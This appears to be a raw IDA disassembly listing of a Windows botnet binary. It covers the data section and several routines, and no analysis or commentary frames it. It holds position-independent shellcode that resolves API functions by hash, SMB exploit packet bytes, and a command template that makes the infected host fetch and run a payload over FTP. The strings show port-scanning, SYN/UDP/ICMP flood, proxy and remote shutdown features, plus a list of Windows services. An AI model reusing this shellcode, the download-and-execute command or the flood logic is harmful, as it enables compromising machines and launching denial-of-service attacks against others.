aSS_3 db '%s%s',0 ; DATA XREF: ___:00419CF1o
align 4
aSSS db '%s%s%s',0 ; DATA XREF: ___:00419CCCo
align 10h
byte_443DD0 db 1 ; DATA XREF: sub_41A290r
align 4
dword_443DD4 dd 2Eh ; ___:0041B235o ...
dword_443DD8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------
loc_443E24: ; DATA XREF: ___:00421759o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_443E38 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E4C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E84 dd 63257325h, 0 ; sub_41F860+E5o
dword_443E8C dd 72h dword_443E90 dd 30h ; sub_424840+327o
dword_443E94 dd 3039h dword_443E98 dd 383631h dword_443E9C dd 323931h dword_443EA0 dd 3631h dword_443EA4 dd 323731h dword_443EA8 dd 3031h off_443EAC dd offset dword_5C005C ; DATA XREF: ___:0041C117r
; ___:0041C287r
word_443EB0 dw 0 ; DATA XREF: ___:0041C121r
; ___:0041C291r
align 4
off_443EB4 dd offset dword_49005C ; DATA XREF: ___:0041C0E6r
; ___:0041C256r
dword_443EB8 dd 430050h ; ___:0041C25Br
dword_443EBC dd 24h ; ___:0041C27Fr
dd 0
aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
align 4
aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo
align 4
aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o
align 8
asc_443EF8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo
db 0Dh,0Ah,0
align 10h
aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o
align 10h
aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o
; ___:0041FC87o
align 4
aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo
align 4
aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
db 'Connection: Keep-Alive',0Dh,0Ah
db 'User-Agent: Mozilla/4.5',0Dh,0Ah
db 'Host: %s:%d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dd 4 dup(0)
aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
align 4
aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o
align 4
dd 0
aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao
align 4
aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o
align 4
aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo
align 10h
aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo
align 10h
aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo
dd 0
dword_443FFC dd 28737973h, 6F626572h, 29746Fh, 0dword_44400C dd 6469706Bh, 7325203Ah, 0dword_444018 dd 203A736Bh, 7325hdword_444020 dd 202E6425h, 7325202Fh, 0dword_44402C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
align 10h
a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o
; sub_41EF30+6A9o
align 4
a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o
; sub_41EF30+677o
align 10h
aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
; DATA XREF: sub_41EF30+62Bo
align 4
dd 2 dup(0)
aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo
align 10h
a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o
; sub_41EF30+51Ao
align 4
asc_4440A8: ; DATA XREF: sub_41EF30+2EFo
; sub_41EF30+33Ao ...
unicode 0, <,>,0
a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o
; sub_41EF30+29Bo ...
align 4
a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o
; sub_41EF30+269o
align 4
a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o
; sub_41EF30+237o
align 4
a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o
; sub_41EF30+205o
align 4
aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
align 8
aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
align 4
dd 0
aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo
align 4
aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o
; sub_420530+C4r ...
align 10h
aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo
; sub_4207E0+316o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
; sub_4207E0+2BEo
align 8
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
align 8
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
align 10h
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o
align 10h
aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o
; sub_420530+34o
align 4
aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co
align 4
aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do
dd 0
aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
align 10h
aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o
align 4
aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo
align 4
aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o
align 10h
aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o
align 4
aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo
dd 0
aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo
align 10h
aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o
dd 0
aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o
align 4
aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo
align 4
aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o
align 4
aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o
dd 0
aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do
align 8
aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o
align 10h
aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o
dd 0
aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co
align 8
aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
align 4
aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o
align 4
aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo
align 10h
aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o
align 4
aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o
align 4
aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao
align 4
aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo
align 4
aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
align 4
aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o
align 8
aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo
align 4
off_444324 dd offset word_616C4E ; DATA XREF: sub_4207E0+E3o
aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o
align 10h
aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo
align 4
off_44433C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o
aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo
dd 0
aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
align 10h
dd 0
aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo
align 4
aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o
align 10h
aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
align 10h
dd 2 dup(0)
aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o
align 8
aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do
align 4
aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o
align 4
aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do
align 4
aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o
align 4
aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do
align 4
aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o
align 4
aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do
dd 0
aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o
; sub_4207E0:loc_420A6Bo
align 10h
asc_444410: ; DATA XREF: sub_420E10:loc_420ECFo
; sub_420E10+F9o ...
unicode 0, </>,0
aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o
; sub_420E10:loc_42107Eo ...
aHttp db 'http',0 ; DATA XREF: sub_420E10+84o
; sub_420E10+257o ...
align 10h
aAsn db 'asn',0 ; DATA XREF: sub_4227F0+31o
dd 0
dd 73610000h, 6Eh, 6 dup(0)
dword_444448 dd 1BDh ; sub_422A40+310o ...
off_44444C dd offset sub_401811 ; DATA XREF: ___:00423E93r
dword_444450 dd 0 ; sub_4235F0+3Ar ...
dd 1, 0
aAsn2 db 'asn2',0
align 4
dd 73610000h, 326Eh, 6 dup(0)
dd 1BDh, 401811h, 0
dd 1, 19h dup(0)
aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
; DATA XREF: sub_422A40+8F3o
db 0
align 4
dd 3 dup(0)
aSequential db 'sequential',0 ; DATA XREF: sub_422A40+8B3o
align 8
aRandom db 'random',0 ; DATA XREF: sub_422A40+8ACo
align 10h
aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o
align 4
dd 0
off_44457C dd offset dword_622D20 ; DATA XREF: sub_422A40+747o
off_444580 dd offset dword_612D20 ; DATA XREF: sub_422A40+737o
; sub_422A40+7A3o ...
dword_444584 dd 722D20h ; sub_422A40+7E5o
aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o
align 10h
aTotalD db ' total: %d',0 ; DATA XREF: sub_422A40+397o
align 10h
aSD db ' %s: %d,',0 ; DATA XREF: sub_422A40+35Fo
align 4
aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422A40+336o
align 4
aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o
align 10h
aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo
align 8
aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o
align 8
aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o
align 10h
aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o
align 8
aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422A40+6Do
align 4
dd 0
dword_44467C dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o
align 10h
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423B25o
align 10h
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o
align 10h
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo
align 8
aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao
align 10h
aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:00423CD6o
align 10h
aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
; DATA XREF: ___:004241D7o
align 4
dd 3 dup(0)
aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: ___:00424126o
dd 3 dup(0)
aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:0042406Fo
dd 3 dup(0)
aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_424840+BDo
align 10h
dword_444840 dd 10FF8h, 0 dword_444848 dd 10FF8h dword_44484C dd 7FFDF020h, 0 dword_444854 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4448DC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_44490C dd 0 dword_444910 dd 800000D4h align 8
; =============== S U B R O U T I N E =======================================
sub_444918 proc near ; DATA XREF: sub_425020+85o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_444A14
push dword ptr [esi]
push 63D61209h
call sub_444A2A
mov [esi+8], eax
call sub_4449DD
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_444A2A
mov [esi+0Ch], eax
call sub_44498F
push dword ptr [esi+4]
push 4C0297FAh
call sub_444A2A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_444918 endp
; =============== S U B R O U T I N E =======================================
sub_44498F proc near ; CODE XREF: sub_444918+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_4449B8
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_44498F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4449B8 proc near ; CODE XREF: sub_44498F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_4449C7: ; CODE XREF: sub_4449B8+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_4449D4
inc ebx
jmp short loc_4449C7
; ---------------------------------------------------------------------------
loc_4449D4: ; CODE XREF: sub_4449B8+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_4449B8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4449DD proc near ; CODE XREF: sub_444918+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_4449F5: ; CODE XREF: sub_4449DD+1Ej
cmp [ecx], ebx
jz short loc_4449FD
mov ecx, [ecx]
jmp short loc_4449F5
; ---------------------------------------------------------------------------
loc_4449FD: ; CODE XREF: sub_4449DD+1Aj
mov edx, edi
loc_4449FF: ; CODE XREF: sub_4449DD+2Aj
cmp [edx+4], ebx
jz short loc_444A09
mov edx, [edx+4]
jmp short loc_4449FF
; ---------------------------------------------------------------------------
loc_444A09: ; CODE XREF: sub_4449DD+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_4449DD endp
; =============== S U B R O U T I N E =======================================
sub_444A14 proc near ; CODE XREF: sub_444918+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_444A14 endp
; =============== S U B R O U T I N E =======================================
sub_444A2A proc near ; CODE XREF: sub_444918+16p
; sub_444918+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_444A40: ; CODE XREF: sub_444A2A+33j
jecxz short loc_444A7A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_444A4D: ; CODE XREF: sub_444A2A+2Dj
lodsb
cmp al, ah
jz short loc_444A59
ror edi, 0Dh
add edi, eax
jmp short loc_444A4D
; ---------------------------------------------------------------------------
loc_444A59: ; CODE XREF: sub_444A2A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_444A40
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_444A7A: ; CODE XREF: sub_444A2A:loc_444A40j
; sub_444A2A:loc_444A7Aj
jmp short loc_444A7A
sub_444A2A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_444A80 proc near ; DATA XREF: sub_425020+1Eo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_444AD2
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_444A9D: ; CODE XREF: sub_444A80+38j
jecxz short loc_444ACD
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_444AA8: ; CODE XREF: sub_444A80+32j
lodsb
test al, al
jz short loc_444AB4
ror edx, 0Dh
add edx, eax
jmp short loc_444AA8
; ---------------------------------------------------------------------------
loc_444AB4: ; CODE XREF: sub_444A80+2Bj
cmp edx, [esp+arg_0]
jnz short loc_444A9D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_444ACD: ; CODE XREF: sub_444A80:loc_444A9Dj
mov [esp+arg_0], ebx
retn
sub_444A80 endp
; =============== S U B R O U T I N E =======================================
sub_444AD2 proc near ; CODE XREF: sub_444A80+7p
; FUNCTION CHUNK AT 00444B0A SIZE 00000005 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_444AEB
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_444AF6
; ---------------------------------------------------------------------------
loc_444AEB: ; CODE XREF: sub_444AD2+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_444AF6: ; CODE XREF: sub_444AD2+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_444B0A
sub_444AD2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_444AFD proc near ; CODE XREF: sub_444AD2:loc_444B0Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_444AFD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_444AD2
loc_444B0A: ; CODE XREF: sub_444AD2+29j
call sub_444AFD
; END OF FUNCTION CHUNK FOR sub_444AD2
; ---------------------------------------------------------------------------
db 0
dd 25h dup(0)
dword_444BA4 dd 23h dword_444BA8 dd 60h dword_444BAC dd 62B0606h, 2050501h, 0A0hdword_444BB8 dd 0A1h dword_444BBC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424840+16Do
align 4
loc_444BC8: ; DATA XREF: sub_424840+100o
jmp short near ptr dword_444BD0
; ---------------------------------------------------------------------------
align 10h
dword_444BD0 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
; DATA XREF: sub_425020+60o
db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
db '%s',0Dh,0Ah,0
align 4
dd 7 dup(0)
; ---------------------------------------------------------------------------
loc_444C78: ; DATA XREF: sub_4254E0+CCo
jmp short loc_444C7C
; ---------------------------------------------------------------------------
loc_444C7A: ; CODE XREF: ___:loc_444C7Cp
jmp short loc_444C81
; ---------------------------------------------------------------------------
loc_444C7C: ; CODE XREF: ___:loc_444C78j
call loc_444C7A
loc_444C81: ; CODE XREF: ___:loc_444C7Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_444C86 dw 0FFFFh ; DATA XREF: sub_4254E0+D3w
db 80h, 73h, 0Eh
byte_444C8B db 0FFh ; DATA XREF: sub_4254E0+DAw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_444C90: ; DATA XREF: sub_4254E0+A7o
jmp short loc_444C94
; ---------------------------------------------------------------------------
loc_444C92: ; CODE XREF: ___:loc_444C94p
jmp short loc_444C99
; ---------------------------------------------------------------------------
loc_444C94: ; CODE XREF: ___:loc_444C90j
call loc_444C92
loc_444C99: ; CODE XREF: ___:loc_444C92j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_444C9D db 0FFh ; DATA XREF: sub_4254E0+AEw
dw 7380h
db 0Ch
byte_444CA1 db 0FFh ; DATA XREF: sub_4254E0+B4w
dw 0E243h
dd 0F9h
dword_444CA8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_425270+43o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444D0C dd 12h dd 70746674h, 6578652Eh, 20692D20h
dword_444D1C dd 74656720h byte_444D20 db 20h ; DATA XREF: sub_425270+A2r
dword_444D21 dd 0E8006A00h dword_444D25 dd 17h ; sub_425270+D2r
dword_444D29 dd 0E8C30175h dword_444D2D dd 1 ; sub_425270+E7r
byte_444D31 db 0, 6Ah, 0 ; DATA XREF: sub_425270+110o
dd 7E8h
db 0, 0Fh, 84h
dword_444D3B dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi ; free
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dd 0Ch dup(0)
aPing db 'ping',0 ; DATA XREF: sub_426450+22o
align 4
aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
; DATA XREF: sub_4266A0+D0o
align 10h
dd 2 dup(0)
aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o
align 4
dd 2 dup(0)
aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o
align 8
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426820+38o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426820+2Bo
dd 0
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426820+23o
align 10h
aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426820+Co
align 4
aForsyn db 'forsyn',0 ; DATA XREF: sub_4269A0+22o
align 4
aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o
align 10h
aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o
align 10h
aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o
align 4
dd 0
aSyn db 'syn',0 ; DATA XREF: sub_426EB0+22o
aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o
align 4
dd 0
aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o
align 8
aUdp db 'udp',0 ; DATA XREF: sub_427590+22o
aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_427650+C0o
align 10h
aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o
align 10h
off_444F40 dd offset byte_455247 ; DATA XREF: sub_427DC0+22o
aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_428040+AAo
dd 3 dup(0)
aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_428040+33o
align 4
dd 3 dup(0)
aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Connection to %s:%d has failed',0Ah,0
align 10h
dd 7 dup(0)
aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Error Resolving %s',0Ah,0
align 4
dd 6 dup(0)
aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah
; DATA XREF: sub_4282C0+D12o
db 0Dh,0Ah,0
dd 2 dup(0)
aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o
; sub_4282C0+B97o
dd 0
aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o
; sub_4282C0+B79o
align 4
dd 0
aConnection db 'Connection:',0 ; DATA XREF: sub_4282C0+9A4o
dd 0
aChunked db 'chunked',0 ; DATA XREF: sub_4282C0+961o
align 8
aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o
align 10h
aContentLength db 'Content-Length:',0 ; DATA XREF: sub_4282C0+87Do
dd 0
aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6DEo
db 'Connection: close',0Dh,0Ah
db '%s',0
dd 2 dup(0)
aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6A9o
db 'Connection: Keep-Alive',0Dh,0Ah
db '%s',0
align 8
aKeepAlive db 'Keep-Alive',0 ; DATA XREF: sub_4282C0:loc_42886Bo
; sub_4282C0+9F0o
align 8
aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o
align 10h
asc_445230 db 0Dh,0Ah,0 ; DATA XREF: sub_4282C0+46Co
; sub_4282C0+52Co ...
align 4
aHttprox db 'HTTPROX',0 ; DATA XREF: sub_4282C0+437o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_4282C0+202o
dd 0
aConnect_0 db 'CONNECT',0 ; DATA XREF: sub_4282C0+1CDo
align 8
off_445258 dd offset byte_544547 ; DATA XREF: sub_4282C0+108o
aHttp_0 db 'HTTP',0 ; DATA XREF: sub_4299C0+22o
align 4
aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o
dd 2 dup(0)
aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo
dd 2 dup(0)
aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o
align 10h
aSocks4 db 'Socks4',0 ; DATA XREF: sub_429D00+22o
; sub_42A090+22o
align 4
aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o
align 8
